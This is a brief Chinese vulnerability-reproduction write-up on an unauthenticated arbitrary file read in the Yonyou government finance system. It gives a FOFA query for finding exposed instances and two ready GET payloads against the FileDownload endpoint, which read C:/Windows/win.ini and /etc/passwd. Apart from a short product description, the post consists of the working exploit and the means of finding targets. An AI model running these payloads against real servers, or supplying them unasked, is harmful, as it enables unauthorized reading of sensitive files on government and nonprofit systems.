【漏洞复现】用友政务财务系统 FileDownload 任意文件读取漏洞

0x01 产品简介

用友政务财务系统是面向政府部门、事业单位、非赢利组织的全方位业务管理信息化解决方案提供商。该系统具备一系列的功能特点，能够满足不同规模和类型企业的财务管理需求。

0x02 漏洞概述

用友政务财务系统存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取服务器任意文件，造成敏感信息泄露。

0x03 测绘语句

测绘语句：fofa: app="用友-政务财务系统"

0x04 漏洞复现

payload——windows：GET /bg/attach/FileDownload?execlPath=C://Windows//win.ini HTTP/1.1

payload——linux：GET /bg/attach/FileDownload?execlPath=/etc/passwd HTTP/1.1